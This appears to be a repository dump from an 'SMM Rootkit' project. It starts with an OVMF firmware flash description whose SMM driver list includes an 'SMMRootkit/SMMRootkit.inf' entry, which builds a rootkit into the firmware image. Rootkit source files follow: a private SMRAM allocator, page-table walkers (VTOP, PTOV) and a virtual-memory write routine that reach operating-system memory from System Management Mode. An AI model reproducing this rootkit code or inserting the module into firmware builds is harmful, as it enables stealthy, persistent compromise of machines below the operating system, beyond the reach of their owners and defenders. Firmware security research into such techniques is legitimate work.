INF  MdeModulePkg/Universal/PCD/Dxe/Pcd.inf

INF  MdeModulePkg/Core/RuntimeDxe/RuntimeDxe.inf
INF  MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf
INF  MdeModulePkg/Universal/EbcDxe/EbcDxe.inf
INF  PcAtChipsetPkg/8259InterruptControllerDxe/8259.inf
INF  UefiCpuPkg/CpuIo2Dxe/CpuIo2Dxe.inf
INF  UefiCpuPkg/CpuDxe/CpuDxe.inf
INF  PcAtChipsetPkg/8254TimerDxe/8254Timer.inf
INF  OvmfPkg/IncompatiblePciDeviceSupportDxe/IncompatiblePciDeviceSupport.inf
INF  OvmfPkg/PciHotPlugInitDxe/PciHotPlugInit.inf
INF  MdeModulePkg/Bus/Pci/PciHostBridgeDxe/PciHostBridgeDxe.inf
INF  MdeModulePkg/Bus/Pci/PciBusDxe/PciBusDxe.inf
INF  MdeModulePkg/Universal/ResetSystemRuntimeDxe/ResetSystemRuntimeDxe.inf
INF  MdeModulePkg/Universal/Metronome/Metronome.inf
INF  PcAtChipsetPkg/PcatRealTimeClockRuntimeDxe/PcatRealTimeClockRuntimeDxe.inf

INF  OvmfPkg/BlockMmioToBlockIoDxe/BlockIo.inf
INF  OvmfPkg/VirtioPciDeviceDxe/VirtioPciDeviceDxe.inf
INF  OvmfPkg/Virtio10Dxe/Virtio10.inf
INF  OvmfPkg/VirtioBlkDxe/VirtioBlk.inf
INF  OvmfPkg/VirtioScsiDxe/VirtioScsi.inf
INF  OvmfPkg/VirtioRngDxe/VirtioRng.inf
INF  OvmfPkg/XenIoPciDxe/XenIoPciDxe.inf
INF  OvmfPkg/XenBusDxe/XenBusDxe.inf
INF  OvmfPkg/XenPvBlkDxe/XenPvBlkDxe.inf

!if $(SECURE_BOOT_ENABLE) == TRUE
  INF  SecurityPkg/VariableAuthenticated/SecureBootConfigDxe/SecureBootConfigDxe.inf
!endif

INF  MdeModulePkg/Universal/WatchdogTimerDxe/WatchdogTimer.inf
INF  MdeModulePkg/Universal/MonotonicCounterRuntimeDxe/MonotonicCounterRuntimeDxe.inf
INF  MdeModulePkg/Universal/CapsuleRuntimeDxe/CapsuleRuntimeDxe.inf
INF  MdeModulePkg/Universal/Console/ConPlatformDxe/ConPlatformDxe.inf
INF  MdeModulePkg/Universal/Console/ConSplitterDxe/ConSplitterDxe.inf
INF  MdeModulePkg/Universal/Console/GraphicsConsoleDxe/GraphicsConsoleDxe.inf
INF  MdeModulePkg/Universal/Console/TerminalDxe/TerminalDxe.inf
INF  MdeModulePkg/Universal/DriverHealthManagerDxe/DriverHealthManagerDxe.inf
INF  MdeModulePkg/Universal/BdsDxe/BdsDxe.inf
INF  MdeModulePkg/Application/UiApp/UiApp.inf
INF  MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf
INF  MdeModulePkg/Universal/PrintDxe/PrintDxe.inf
INF  MdeModulePkg/Universal/Disk/DiskIoDxe/DiskIoDxe.inf
INF  MdeModulePkg/Universal/Disk/PartitionDxe/PartitionDxe.inf
INF  MdeModulePkg/Universal/Disk/RamDiskDxe/RamDiskDxe.inf
INF  MdeModulePkg/Universal/Disk/UnicodeCollation/EnglishDxe/EnglishDxe.inf
INF  MdeModulePkg/Bus/Scsi/ScsiBusDxe/ScsiBusDxe.inf
INF  MdeModulePkg/Bus/Scsi/ScsiDiskDxe/ScsiDiskDxe.inf
INF  OvmfPkg/SataControllerDxe/SataControllerDxe.inf
INF  MdeModulePkg/Bus/Ata/AtaAtapiPassThru/AtaAtapiPassThru.inf
INF  MdeModulePkg/Bus/Ata/AtaBusDxe/AtaBusDxe.inf
INF  MdeModulePkg/Bus/Pci/NvmExpressDxe/NvmExpressDxe.inf
INF  MdeModulePkg/Universal/HiiDatabaseDxe/HiiDatabaseDxe.inf
INF  MdeModulePkg/Universal/SetupBrowserDxe/SetupBrowserDxe.inf
INF  MdeModulePkg/Universal/DisplayEngineDxe/DisplayEngineDxe.inf
INF  MdeModulePkg/Universal/MemoryTest/NullMemoryTestDxe/NullMemoryTestDxe.inf

INF  PcAtChipsetPkg/IsaAcpiDxe/IsaAcpi.inf
INF  IntelFrameworkModulePkg/Bus/Isa/IsaBusDxe/IsaBusDxe.inf

!ifndef $(SOURCE_DEBUG_ENABLE)
INF  IntelFrameworkModulePkg/Bus/Isa/IsaSerialDxe/IsaSerialDxe.inf
!endif

INF  IntelFrameworkModulePkg/Bus/Isa/Ps2KeyboardDxe/Ps2keyboardDxe.inf
INF  IntelFrameworkModulePkg/Bus/Isa/IsaFloppyDxe/IsaFloppyDxe.inf

INF  MdeModulePkg/Universal/SmbiosDxe/SmbiosDxe.inf
INF  OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.inf

INF  MdeModulePkg/Universal/Acpi/AcpiTableDxe/AcpiTableDxe.inf
INF  OvmfPkg/AcpiPlatformDxe/AcpiPlatformDxe.inf
INF  RuleOverride=ACPITABLE OvmfPkg/AcpiTables/AcpiTables.inf
INF  MdeModulePkg/Universal/Acpi/S3SaveStateDxe/S3SaveStateDxe.inf
INF  MdeModulePkg/Universal/Acpi/BootScriptExecutorDxe/BootScriptExecutorDxe.inf
INF  MdeModulePkg/Universal/Acpi/BootGraphicsResourceTableDxe/BootGraphicsResourceTableDxe.inf

INF  FatPkg/EnhancedFatDxe/Fat.inf

!ifndef $(USE_OLD_SHELL)
INF  ShellPkg/DynamicCommand/TftpDynamicCommand/TftpDynamicCommand.inf
INF  ShellPkg/Application/Shell/Shell.inf
!else
INF  RuleOverride = BINARY EdkShellBinPkg/FullShell/FullShell.inf
!endif

INF MdeModulePkg/Logo/LogoDxe.inf

#
# Network modules
#
!if $(E1000_ENABLE)
  FILE DRIVER = 5D695E11-9B3F-4b83-B25F-4A8D5D69BE07 {
    SECTION PE32 = Intel3.5/EFIX64/E3522X2.EFI
  }
!endif
  INF  MdeModulePkg/Universal/Network/SnpDxe/SnpDxe.inf
  INF  MdeModulePkg/Universal/Network/DpcDxe/DpcDxe.inf
  INF  MdeModulePkg/Universal/Network/MnpDxe/MnpDxe.inf
  INF  MdeModulePkg/Universal/Network/VlanConfigDxe/VlanConfigDxe.inf
  INF  MdeModulePkg/Universal/Network/ArpDxe/ArpDxe.inf
  INF  MdeModulePkg/Universal/Network/Dhcp4Dxe/Dhcp4Dxe.inf
  INF  MdeModulePkg/Universal/Network/Ip4Dxe/Ip4Dxe.inf
  INF  MdeModulePkg/Universal/Network/Mtftp4Dxe/Mtftp4Dxe.inf
  INF  MdeModulePkg/Universal/Network/Udp4Dxe/Udp4Dxe.inf
!if $(NETWORK_IP6_ENABLE) == TRUE
  INF  NetworkPkg/Ip6Dxe/Ip6Dxe.inf
  INF  NetworkPkg/TcpDxe/TcpDxe.inf
  INF  NetworkPkg/Udp6Dxe/Udp6Dxe.inf
  INF  NetworkPkg/Dhcp6Dxe/Dhcp6Dxe.inf
  INF  NetworkPkg/Mtftp6Dxe/Mtftp6Dxe.inf
  INF  NetworkPkg/UefiPxeBcDxe/UefiPxeBcDxe.inf
  INF  NetworkPkg/IScsiDxe/IScsiDxe.inf
!else
  INF  MdeModulePkg/Universal/Network/Tcp4Dxe/Tcp4Dxe.inf
  INF  MdeModulePkg/Universal/Network/UefiPxeBcDxe/UefiPxeBcDxe.inf
  INF  MdeModulePkg/Universal/Network/IScsiDxe/IScsiDxe.inf
!endif
!if $(HTTP_BOOT_ENABLE) == TRUE
  INF  NetworkPkg/DnsDxe/DnsDxe.inf
  INF  NetworkPkg/HttpUtilitiesDxe/HttpUtilitiesDxe.inf
  INF  NetworkPkg/HttpDxe/HttpDxe.inf
  INF  NetworkPkg/HttpBootDxe/HttpBootDxe.inf
!endif
!if $(TLS_ENABLE) == TRUE
  INF  NetworkPkg/TlsDxe/TlsDxe.inf
  INF  NetworkPkg/TlsAuthConfigDxe/TlsAuthConfigDxe.inf
!endif
  INF  OvmfPkg/VirtioNetDxe/VirtioNet.inf

#
# Usb Support
#
INF  MdeModulePkg/Bus/Pci/UhciDxe/UhciDxe.inf
INF  MdeModulePkg/Bus/Pci/EhciDxe/EhciDxe.inf
INF  MdeModulePkg/Bus/Pci/XhciDxe/XhciDxe.inf
INF  MdeModulePkg/Bus/Usb/UsbBusDxe/UsbBusDxe.inf
INF  MdeModulePkg/Bus/Usb/UsbKbDxe/UsbKbDxe.inf
INF  MdeModulePkg/Bus/Usb/UsbMassStorageDxe/UsbMassStorageDxe.inf

!ifdef $(CSM_ENABLE)
INF  IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf
INF  IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf
INF  RuleOverride=CSM OvmfPkg/Csm/Csm16/Csm16.inf
!endif

INF  OvmfPkg/QemuVideoDxe/QemuVideoDxe.inf
INF  OvmfPkg/VirtioGpuDxe/VirtioGpu.inf
INF  OvmfPkg/PlatformDxe/Platform.inf
INF  OvmfPkg/AmdSevDxe/AmdSevDxe.inf
INF  OvmfPkg/IoMmuDxe/IoMmuDxe.inf

!if $(SMM_REQUIRE) == TRUE
INF  OvmfPkg/SmmAccess/SmmAccess2Dxe.inf
INF  OvmfPkg/SmmControl2Dxe/SmmControl2Dxe.inf
INF  UefiCpuPkg/CpuS3DataDxe/CpuS3DataDxe.inf
INF  MdeModulePkg/Core/PiSmmCore/PiSmmIpl.inf
INF  MdeModulePkg/Core/PiSmmCore/PiSmmCore.inf
INF  SMMRootkit/SMMRootkit.inf
INF  UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf
INF  MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf
INF  UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf

#
# Variable driver stack (SMM)
#
INF  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesSmm.inf
INF  MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteSmm.inf
INF  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmm.inf
INF  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmmRuntimeDxe.inf

!else

#
# Variable driver stack (non-SMM)
#
INF  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf
INF  OvmfPkg/EmuVariableFvbRuntimeDxe/Fvb.inf
INF  MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteDxe.inf
INF  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableRuntimeDxe.inf
!endif

################################################################################

[FV.FVMAIN_COMPACT]
FvNameGuid         = 48DB5E17-707C-472D-91CD-1613E7EF51B0
FvAlignment        = 16
ERASE_POLARITY     = 1
MEMORY_MAPPED      = TRUE
STICKY_WRITE       = TRUE
LOCK_CAP           = TRUE
LOCK_STATUS        = TRUE
WRITE_DISABLED_CAP = TRUE
WRITE_ENABLED_CAP  = TRUE
WRITE_STATUS       = TRUE
WRITE_LOCK_CAP     = TRUE
WRITE_LOCK_STATUS  = TRUE
READ_DISABLED_CAP  = TRUE
READ_ENABLED_CAP   = TRUE
READ_STATUS        = TRUE
READ_LOCK_CAP      = TRUE
READ_LOCK_STATUS   = TRUE

FILE FV_IMAGE = 9E21FD93-9C72-4c15-8C4B-E77F1DB2D792 {
   SECTION GUIDED EE4E5898-3914-4259-9D6E-DC7BD79403CF PROCESSING_REQUIRED = TRUE {
     #
     # These firmware volumes will have files placed in them uncompressed,
     # and then both firmware volumes will be compressed in a single
     # compression operation in order to achieve better overall compression.
     #
     SECTION FV_IMAGE = PEIFV
     SECTION FV_IMAGE = DXEFV
   }
 }

!include DecomprScratchEnd.fdf.inc

################################################################################

[Rule.Common.SEC]
  FILE SEC = $(NAMED_GUID) {
    PE32     PE32           $(INF_OUTPUT)/$(MODULE_NAME).efi
    UI       STRING ="$(MODULE_NAME)" Optional
    VERSION  STRING ="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.PEI_CORE]
  FILE PEI_CORE = $(NAMED_GUID) {
    PE32     PE32   Align=Auto    $(INF_OUTPUT)/$(MODULE_NAME).efi
    UI       STRING ="$(MODULE_NAME)" Optional
    VERSION  STRING ="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.PEIM]
  FILE PEIM = $(NAMED_GUID) {
     PEI_DEPEX PEI_DEPEX Optional        $(INF_OUTPUT)/$(MODULE_NAME).depex
     PE32      PE32   Align=Auto         $(INF_OUTPUT)/$(MODULE_NAME).efi
     UI       STRING="$(MODULE_NAME)" Optional
     VERSION  STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.DXE_CORE]
  FILE DXE_CORE = $(NAMED_GUID) {
    PE32     PE32           $(INF_OUTPUT)/$(MODULE_NAME).efi
    UI       STRING="$(MODULE_NAME)" Optional
    VERSION  STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.DXE_DRIVER]
  FILE DRIVER = $(NAMED_GUID) {
    DXE_DEPEX    DXE_DEPEX Optional      $(INF_OUTPUT)/$(MODULE_NAME).depex
    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi
    UI       STRING="$(MODULE_NAME)" Optional
    VERSION  STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
    RAW ACPI  Optional               |.acpi
    RAW ASL   Optional               |.aml
  }

[Rule.Common.DXE_RUNTIME_DRIVER]
  FILE DRIVER = $(NAMED_GUID) {
    DXE_DEPEX    DXE_DEPEX Optional      $(INF_OUTPUT)/$(MODULE_NAME).depex
    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi
    UI       STRING="$(MODULE_NAME)" Optional
    VERSION  STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.UEFI_DRIVER]
  FILE DRIVER = $(NAMED_GUID) {
    DXE_DEPEX    DXE_DEPEX Optional      $(INF_OUTPUT)/$(MODULE_NAME).depex
    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi
    UI       STRING="$(MODULE_NAME)" Optional
    VERSION  STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.UEFI_DRIVER.BINARY]
  FILE DRIVER = $(NAMED_GUID) {
    DXE_DEPEX DXE_DEPEX Optional      |.depex
    PE32      PE32                    |.efi
    UI        STRING="$(MODULE_NAME)" Optional
    VERSION   STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.UEFI_APPLICATION]
  FILE APPLICATION = $(NAMED_GUID) {
    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi
    UI       STRING="$(MODULE_NAME)" Optional
    VERSION  STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.UEFI_APPLICATION.BINARY]
  FILE APPLICATION = $(NAMED_GUID) {
    PE32      PE32                    |.efi
    UI        STRING="$(MODULE_NAME)" Optional
    VERSION   STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.USER_DEFINED.ACPITABLE]
  FILE FREEFORM = $(NAMED_GUID) {
    RAW ACPI               |.acpi
    RAW ASL                |.aml
  }

[Rule.Common.USER_DEFINED.CSM]
  FILE FREEFORM = $(NAMED_GUID) {
    RAW BIN                |.bin
  }

[Rule.Common.SEC.RESET_VECTOR]
  FILE RAW = $(NAMED_GUID) {
    RAW BIN   Align = 16   |.bin
  }

[Rule.Common.SMM_CORE]
  FILE SMM_CORE = $(NAMED_GUID) {
    PE32     PE32           $(INF_OUTPUT)/$(MODULE_NAME).efi
    UI       STRING="$(MODULE_NAME)" Optional
    VERSION  STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }

[Rule.Common.DXE_SMM_DRIVER]
  FILE SMM = $(NAMED_GUID) {
    SMM_DEPEX    SMM_DEPEX Optional      $(INF_OUTPUT)/$(MODULE_NAME).depex
    PE32     PE32                    $(INF_OUTPUT)/$(MODULE_NAME).efi
    UI       STRING="$(MODULE_NAME)" Optional
    VERSION  STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER)
  }


================================================
FILE: SMM Rootkit/SMMRootkit/.gitignore
================================================
.vscode/


================================================
FILE: SMM Rootkit/SMMRootkit/MemManager.c
================================================
#include "MemManager.h"

static BOOLEAN memPoolInitialized;
static PMemAllocEntry_t memPool;
static UINT32 pagesInPool;
static UINT64 memAllocated;

// from SMMRootkit.c
extern EFI_SMM_SYSTEM_TABLE2 *gSmst2;

UINT64 GetMemAllocated()
{
  return memAllocated;
}

BOOLEAN InitMemManager(UINT32 pages)
{
  memPoolInitialized = FALSE;
  EFI_PHYSICAL_ADDRESS physAddr;
  if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS)
  {
    // set pool pointer
    memPool = (PMemAllocEntry_t)physAddr;

    // nullify the pool
    UINT8 *pool = (UINT8 *)memPool;
    for (UINT32 i = 0; i < pages * 4096; i++)
    {
      pool[i] = (UINT8)0x00;
    }

    // set the global vars, needed by malloc
    memPoolInitialized = TRUE;
    pagesInPool = pages;

    // allocate the first block
    malloc(0);
  }
  return memPoolInitialized;
}

VOID *palloc(UINT32 pages)
{
  EFI_PHYSICAL_ADDRESS physAddr;
  if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS)
  {
    return (VOID *)physAddr;
  }
  return NULL;
}

VOID pfree(VOID *address, UINT32 pages)
{
  gSmst2->SmmFreePages((EFI_PHYSICAL_ADDRESS)address, pages);
}

VOID *malloc(UINT32 size)
{
  // sanity check
  if (!memPoolInitialized)
  {
    SerialPrintStringDebug("FAIL: malloc pool was not set up!\r\n");
    return NULL;
  }

  PMemAllocEntry_t curr = memPool;
  PMemAllocEntry_t newEntry = NULL;

  // find the first allocatable location and return if possible
  while (curr->next)
  {
    if ((UINT8 *)curr + curr->size + 24 + size < (UINT8 *)curr->next)
    {
      newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size);
      newEntry->next = curr->next;
      newEntry->prev = curr;
      newEntry->size = size + 24;
      curr->next->prev = newEntry;
      curr->next = newEntry;
      memAllocated += size + 24;
      return newEntry->data;
    }
    curr = curr->next;
  }

  // we came to the end of the list,
  // check that the allocation will not exceed the slab boundaries
  if ((UINT8 *)curr + curr->size + 24 + size > ((UINT8 *)memPool + (pagesInPool * 4096)))
  {
    SerialPrintStringDebug("FAIL: malloc failed for size ");
    SerialPrintNumberDebug(size, 10);
    SerialPrintStringDebug("\r\n");
    return NULL;
  }

  // Is this the first allocation?
  if (curr->size == 0 && curr == memPool)
  {
    curr->size = 24 + size;
    memAllocated += size + 24;
    return curr->data;
  }

  // normal allocation for normal entries
  newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size);
  newEntry->next = curr->next;
  newEntry->prev = curr;
  newEntry->size = size + 24;
  curr->next = newEntry;
  memAllocated += size + 24;
  return newEntry->data;
}

VOID free(VOID *address)
{
  // sanity check
  if (!memPoolInitialized)
  {
    return;
  }

  PMemAllocEntry_t curr = memPool;

  while (curr->next)
  {
    curr = curr->next;
    if (curr->data == address)
    {
      if (curr->next)
      {
        curr->next->prev = curr->prev;
      }
      curr->prev->next = curr->next;
      curr->prev = NULL;
      curr->next = NULL;
      memAllocated -= curr->size + 24;
      curr->size = 0;
    }
  }
}

================================================
FILE: SMM Rootkit/SMMRootkit/MemManager.h
================================================
#ifndef __smmrootkit_memory_manager_h__
#define __smmrootkit_memory_manager_h__

#include <Uefi.h>
#include <Base.h>
#include <Protocol/SmmBase2.h>
#include <Library/MemoryAllocationLib.h>
#include "serial.h"

/*
 * A very simple malloc implementation
 * 
 * The dynamically allocatable memory is first initialized with 
 * gSmst2->SmmAllocatePages, then given as requested, until the 
 * memory in firstly allocated efi runtime mem runs out
 * 
 * The implementation uses a simple linked list, with first entry 
 * starting from byte 0 of the allocated efi memory page area.
 * 
 * If area[0].next = nullptr, there are no allocs currently. 
 * If area[0] = &area[0], there is at least one allocation
 * PMemAllocEntry_t->next points to the next entry, if it is null, 
 * there are no more entries in the list.
 */

typedef struct memallocentry MemAllocEntry_t, *PMemAllocEntry_t;

#ifdef __GNUC__
struct memallocentry
{
  PMemAllocEntry_t prev;
  PMemAllocEntry_t next;
  UINT64 size;
  UINT8 data[];
} __attribute__((packed));
#endif

#ifdef _MSC_VER
#define PACK(__Declaration__) __pragma(pack(push, 1)) __Declaration__ __pragma(pack(pop))
PACK(struct memallocentry {
  PMemAllocEntry_t prev;
  PMemAllocEntry_t next;
  UINT64 size;
  UINT8 data[];
});
#endif

/*
 * Initializes the memory manager with pages number of pages.
 * @return TRUE if succeeded, FALSE otherwise
 */
BOOLEAN InitMemManager(UINT32 pages);

/*
 * Allocates number of pages, returns the physical address to allocated memory
 */
VOID *palloc(UINT32 pages);

/*
 * Frees number of pages from the physical address allocated by palloc
 */
VOID pfree(VOID *address, UINT32 pages);

/*
 * Tries to dynamically allocate memory
 * 
 * @return pointer to allocated memory if succeeded, NULL otherwise
 */
VOID *malloc(UINT32 size);

/*
 * Tries to free a memory address from before dynamically 
 * allocated memory
 */
VOID free(VOID *address);

/*
 * Returns the total amount of bytes allocated from the pool
 * 
 */
UINT64 GetMemAllocated();

#endif

================================================
FILE: SMM Rootkit/SMMRootkit/Memory.c
================================================
#include "Memory.h"

// from SMMRootkit.c
extern EFI_SMM_SYSTEM_TABLE2 *gSmst2;

BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose)
{
  // Check if the address ranges are in allowed range
  if ((IsAddressValid((UINT64)src) == FALSE || IsAddressValid((UINT64)(src + n - 1)) == FALSE))
  {
    SerialPrintString("[p_memCpy] Aborted duo to disallowed memory range \r\n");

    return FALSE;
  }

  // Typecast src and dest addresses to (char *)
  CHAR8 *csrc = (char *)src;
  CHAR8 *cdest = (char *)dest;

  // Copy contents of src[] to dest[]
  for (INT32 i = 0; i < n; i++)
    cdest[i] = csrc[i];

  return TRUE;
}

UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose)
{
  if (address == 0 && verbose)
  {
    SerialPrintStringDebug("[VTOP] address is 0 \r\n");
    return 0;
  }

  if (directoryBase == 0 && verbose)
  {
    SerialPrintStringDebug("[VTOP] directoryBase is 0 \r\n");
    return 0;
  }

  directoryBase &= ~0xf;

  UINT64 pageOffset = address & ~(~0ul << PAGE_OFFSET_SIZE);
  UINT64 pte = ((address >> 12) & (0x1ffll));
  UINT64 pt = ((address >> 21) & (0x1ffll));
  UINT64 pd = ((address >> 30) & (0x1ffll));
  UINT64 pdp = ((address >> 39) & (0x1ffll));

  if (verbose)
  {
    SerialPrintString("Dirbase:  ");
    SerialPrintNumber(directoryBase, 16);
    SerialPrintString(" VA ");
    SerialPrintNumber(address, 16);
    SerialPrintString(" PO:  ");
    SerialPrintNumber(pageOffset, 16);
    SerialPrintString(" PTE ");
    SerialPrintNumber(pte, 16);
    SerialPrintString(" PT ");
    SerialPrintNumber(pt, 16);
    SerialPrintString(" PD ");
    SerialPrintNumber(pd, 16);
    SerialPrintString(" PDP ");
    SerialPrintNumber(pdp, 16);
    SerialPrintString("\r\n");
  }

  UINT64 pdpe = 0;
  p_memCpy((UINT64)&pdpe, directoryBase + 8 * pdp, sizeof(UINT64), verbose);

  if (verbose)
  {
    SerialPrintString("Dump PDPE at ");
    SerialPrintNumber(directoryBase + 8 * pdp, 16);
    SerialPrintString("results ");
    SerialPrintNumber(pdpe, 16);
    SerialPrintString("\r\n");
  }

  if (~pdpe & 1)
    return 0;

  UINT64 pde = 0;
  p_memCpy((UINT64)&pde, (UINT64)(pdpe & PMASK2) + 8 * pd, sizeof(UINT64), verbose);

  if (verbose)
  {
    SerialPrintString("Dump pde at ");
    SerialPrintNumber((pdpe & PMASK2) + 8 * pd, 16);
    SerialPrintString("results ");
    SerialPrintNumber(pde, 16);
    SerialPrintString("\r\n");
  }

  if (~pde & 1)
    return 0;

  /* 1GB large page, use pde's 12-34 bits */
  if (pde & 0x80)
    return (pde & (~0ull << 42 >> 12)) + (address & ~(~0ull << 30));

  UINT64 pteAddr = 0;
  p_memCpy((UINT64)&pteAddr, (UINT64)(pde & PMASK2) + 8 * pt, sizeof(UINT64), verbose);

  if (verbose)
  {
    SerialPrintString("Dump pteAddr at ");
    SerialPrintNumber((pde & PMASK2) + 8 * pt, 16);
    SerialPrintString("results ");
    SerialPrintNumber(pteAddr, 16);
    SerialPrintString("\r\n");
  }

  if (~pteAddr & 1)
    return 0;

  /* 2MB large page */
  if (pteAddr & 0x80)
    return (pteAddr & PMASK) + (address & ~(~0ull << 21));

  p_memCpy((UINT64)&address, (UINT64)(pteAddr & PMASK) + 8 * pte, sizeof(UINT64), verbose);

  address = address & PMASK;

  if (verbose)
  {
    SerialPrintString("Dump address at ");
    SerialPrintNumber((pteAddr & PMASK) + 8 * pte, 16);
    SerialPrintString("results ");
    SerialPrintNumber(address, 16);
    SerialPrintString("\r\n");
  }

  if (!address)
    return 0;

  // UINT64 tempPhys = address & 0xFFFFFFFFFFFFF000;
  // UINT64 physAddress = tempPhys + virtOffs;

  return address + pageOffset;
}

// Declaration for ASM func
UINT64 GetCR3(VOID);

BOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UINT64 *pqwPDE, UINT64 *pqwPDPTE, UINT64 *pqwPML4E, BOOLEAN verbose)
{
  BOOLEAN result, fFirstRun;
  UINT64 PML4[512], PDPT[512], PD[512], PT[512];
  UINT64 PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff, PT_idx = 0xfff;
  UINT64 qwA;
  UINT64 qwPageTableData;

  UINT64 Cr3 = GetCR3(); // Get Cr3 from SMM Environment

  SerialPrintStringDebug("[PTOV] Got Cr3, dumping PML4 \r\n");

  *PML4 = Cr3 & 0x0000fffffffff000;

  qwA = 0;
  fFirstRun = TRUE;
  while (qwA || fFirstRun)
  {
    fFirstRun = FALSE;
    if (qwA & 0xffff800000000000)
    {
      qwA |= 0xffff800000000000;
    }
    if (PML4_idx != (0x1ff & (qwA >> 39))) // PML4
    {
      PML4_idx = 0x1ff & (qwA >> 39);
      qwPageTableData = PML4[PML4_idx];
      if ((qwPageTableData & 0x81) != 0x01)
      {
        qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000;
        continue;
      }
      p_memCpy((UINT64)PDPT, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose);

      PDPT_idx = 0xfff;
      PD_idx = 0xfff;
      PT_idx = 0xfff;
    }

    if (PDPT_idx != (0x1ff & (qwA >> 30))) // PDPT(Page-Directory Pointer Table)
    {
      PDPT_idx = 0x1ff & (qwA >> 30);
      qwPageTableData = PDPT[PDPT_idx];
      if ((qwPageTableData & 0x81) != 0x01)
      {
        qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;
        continue;
      }
      p_memCpy((UINT64)PD, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose);

      if (!result)
      {
        qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;
        continue;
      }
      PD_idx = 0xfff;
      PT_idx = 0xfff;
    }

    if (PD_idx != (0x1ff & (qwA >> 21)))
    { // PD (Page Directory)
      PD_idx = 0x1ff & (qwA >> 21);
      qwPageTableData = PD[PD_idx];
      if (((qwPageTableData & 0x81) == 0x81) && ((qwPageTableData & 0x0000ffffffe00000) == (qwAddrPhys & 0x0000ffffffe00000)))
      { // map 2MB page
        *pqwAddrVirt = qwA + (qwAddrPhys & 0x1fffff);
        if (pqwPTE)
        {
          *pqwPTE = PD[PD_idx];
        }
        if (pqwPDE)
        {
          *pqwPDE = PD[PD_idx];
        }
        if (pqwPDPTE)
        {
          *pqwPDPTE = PDPT[PDPT_idx];
        }
        if (pqwPML4E)
        {
          *pqwPML4E = PML4[PML4_idx];
        }
        return TRUE;
      }
      if ((qwPageTableData & 0x81) != 0x01)
      {
        qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;
        continue;
      }
      p_memCpy((UINT64)PT, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose);

      if (!result)
      {
        qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;
        continue;
      }
      PT_idx = 0xfff;
    }

    if (PT_idx != (0x1ff & (qwA >> 12)))
    { // PT (Page Table)
      PT_idx = 0x1ff & (qwA >> 12);
      qwPageTableData = PT[PT_idx];
      if (((qwPageTableData & 0x01) == 0x01) && ((qwPageTableData & 0x0000fffffffff000) == (qwAddrPhys & 0x0000fffffffff000)))
      {
        *pqwAddrVirt = qwA + (qwAddrPhys & 0xfff);
        if (pqwPTE)
        {
          *pqwPTE = PT[PT_idx];
        }
        if (pqwPDE)
        {
          *pqwPDE = PD[PD_idx];
        }
        if (pqwPDPTE)
        {
          *pqwPDPTE = PDPT[PDPT_idx];
        }
        if (pqwPML4E)
        {
          *pqwPML4E = PML4[PML4_idx];
        }
        return TRUE;
      }
      qwA = (qwA + 0x0000000000001000) & 0xfffffffffffff000;
      continue;
    }
  }
  return FALSE;
}

BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose)
{
  // Translate to physical
  UINT64 pDest = VTOP(dest, directoryBase, FALSE);

  if (pDest == 0)
  {
    return FALSE;
  }

  // Read physical
  return p_memCpy(pDest, src, n, verbose);
}

